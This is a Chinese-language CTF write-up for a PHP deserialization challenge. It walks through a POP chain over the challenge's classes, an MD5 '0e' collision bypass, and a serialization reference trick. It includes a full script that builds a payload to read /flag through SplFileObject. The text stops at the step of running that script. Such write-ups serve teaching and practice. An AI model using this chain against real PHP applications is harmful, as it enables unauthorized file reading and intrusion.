[SWPUCTF 2025 秋季新生赛]FIRST MEETING PHP 反序列化 POP 链
- 1[WUSTCTF 2020]
- 2[HNCTF 2022 WEEK4]unf1ni3hed_web3he1 LFI + Session反序列化 + 条件竞争
- 3[安洵杯 2019]CSS Game CSS注入
- 4[NISACTF 2022]checkin Unicode 双向控制字符(Bidi)混淆
- 5[SWPUCTF 2025 秋季新生赛]FIRST MEETING PHP 反序列化 POP 链本文
- 6[UUCTF 2022 新生赛]funmd5 0e 碰撞与时间戳预测
本题在线靶场
1.分析
1.1代码审计
分析这段完整源码,需要构造一条非常经典的 POP 链(属性导向编程利用链)。
<?phphighlight_file(__FILE__);class WEB { private $sauy; public $creambread;
public function __construct($sauy) { $this->sauy = $sauy; echo "I know you are good at this!"; } public function __destruct() { echo $this -> sauy; }}
class REVERSE { protected $re1sen; public $harukaze; public $ysyy; public $acc;
public function __call($a, $b){ if (!is_string($this -> harukaze) ||!is_string($this -> ysyy)||($this -> harukaze === $this -> ysyy)) { die("你输的什么东西?"); } if (md5($this -> harukaze) == md5($this -> ysyy)) { ($this->acc)(); } else { die("?"); }}}
class PWN { public $wings; public $c0trick;
public function __toString() { if($this->wings === 'SHENG-YI'){ $this -> c0trick -> MinatoNamikaze(); return "NSS WELCOME YOU!!!"; } else { die("No wings,no fly!"); } }}class MISC { public $cr4p;
public function __invoke(){ $this -> cr4p -> png = '010'; }}
class CRYPTO { public $kyarihoshi; public $rocage; public $last; public $dance; public $kiss; public function __construct(){ $kyarihoshi = $this -> kyarihoshi; $rocage = $this -> rocage; $kiss = $this -> kiss; } public function __set($a, $b){ $this -> dance = md5(rand(1, 10000)); if ($this->last === $this -> dance){ $kiss = new $this -> kyarihoshi($this -> rocage); echo "$kiss<br>"; echo "恭喜!<br>"; } else{ die("LAST DANCE!May be you can find the trick!"); }}}$NSS = $_POST["NSS"];unserialize($NSS);?>这道题本身没有直接调用 system、exec 等命令执行函数,所以需要通过反序列化原生类(如 SplFileObject)来读取 /flag 文件。
- 有可控的 unserialize() 入口
$NSS = $_POST["NSS"];unserialize($NSS);- 类里有各种 PHP 魔术方法:
__construct() :构造函数来赋值 private 属性
__destruct():对象被销毁时触发。
__wakeup():反序列化时触发(常用于反序列化后的初始化或绕过)。
__toString():对象被当成字符串使用时触发(比如被 echo、被 include 或者字符串拼接时)。
__invoke():PHP 中把对象当函数调用 $obj() 时,会自动执行该对象的 __invoke()。
__call():调用对象没有的方法触发。
__set():给不存在的属性赋值时触发。
1.2POP 链完整调用流程
-
触发起点:WEB::__destruct 反序列化后脚本结束,WEB 对象被销毁,执行 echo sauy 是一个 PWN 对象(本题有__toString,下面同理),就会触发 PWN::__toString()。
-
进入 PWN::__toString 需要满足 this -> c0trick -> MinatoNamikaze();。由于 c0trick 是 REVERSE 对象且没有 MinatoNamikaze 方法,触发 REVERSE::__call(‘MinatoNamikaze’, [])。
-
进入 REVERSE::__call 需要绕过 MD5 弱类型比较:
-
harukaze 和 ysyy 必须是字符串且不相等,但 md5() 值相等。
-
使用经典 0e 碰撞:harukaze = ‘QNKCDZO’,ysyy = ‘240610708’。 条件满足后执行 ($this->acc)();。令 acc = new MISC(),触发 MISC::__invoke()。
-
-
进入 MISC::__invoke 执行 $this -> cr4p -> png = ‘010’;。令 cr4p = new CRYPTO()。由于 CRYPTO 没有 png 属性,触发 CRYPTO::__set(‘png’, ‘010’)。
-
进入 CRYPTO::__set(关键点) 代码中有一句:
$this -> dance = md5(rand(1, 10000));if ($this->last === $this -> dance){由于 dance 是随机数,我们无法预测。解决办法:利用 PHP 反序列化的引用特性(R:),让 this->dance 指向同一个内存变量。 当 this->last 也会同步变成同样的值,从而满足 === 条件。 然后执行:
$kiss = new $this -> kyarihoshi($this -> rocage);echo "$kiss<br>";令 kyarihoshi = ‘SplFileObject’,rocage = ‘/flag’。这样会实例化 SplFileObject(‘/flag’)。echo 该对象时,会触发其 __toString() 方法,直接输出 /flag 文件的内容。
构造payload
由于涉及到 R: 引用,手动拼写序列化字符串非常容易出错,建议用本地 PHP 脚本生成。
第一步:编写生成脚本(gen.php)
// 复制题目中的所有类定义<?phpclass WEB { private $sauy; public $creambread; public function __construct($sauy) { $this->sauy = $sauy; } public function __destruct() { echo $this->sauy; }}
class REVERSE { protected $re1sen; public $harukaze; public $ysyy; public $acc; public function __call($a, $b){ }}
class PWN { public $wings; public $c0trick; public function __toString() { }}
class MISC { public $cr4p; public function __invoke(){ }}
class CRYPTO { public $kyarihoshi; public $rocage; public $last; public $dance; public $kiss; // 补全方法,虽然生成阶段不会执行它 public function __construct() { } public function __set($a, $b) { }}
// 构造链:注意这里使用了构造函数来赋值 private 属性(WEB的`$sauy`)$pwn = new PWN();$pwn->wings = 'SHENG-YI';$pwn->c0trick = new REVERSE();$pwn->c0trick->harukaze = 'QNKCDZO';$pwn->c0trick->ysyy = '240610708';$pwn->c0trick->acc = new MISC();$pwn->c0trick->acc->cr4p = new CRYPTO();$pwn->c0trick->acc->cr4p->kyarihoshi = 'SplFileObject';$pwn->c0trick->acc->cr4p->rocage = '/flag';
// 关键:构造引用,让 last 和 dance 指向同一个内存地址$pwn->c0trick->acc->cr4p->last = &$pwn->c0trick->acc->cr4p->dance;
// 把 PWN 对象通过构造函数塞进 WEB 的 private $sauy 里$web = new WEB($pwn);
// 输出 URL 编码后的 payloadecho urlencode(serialize($web));?>第二步:运行脚本


文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!














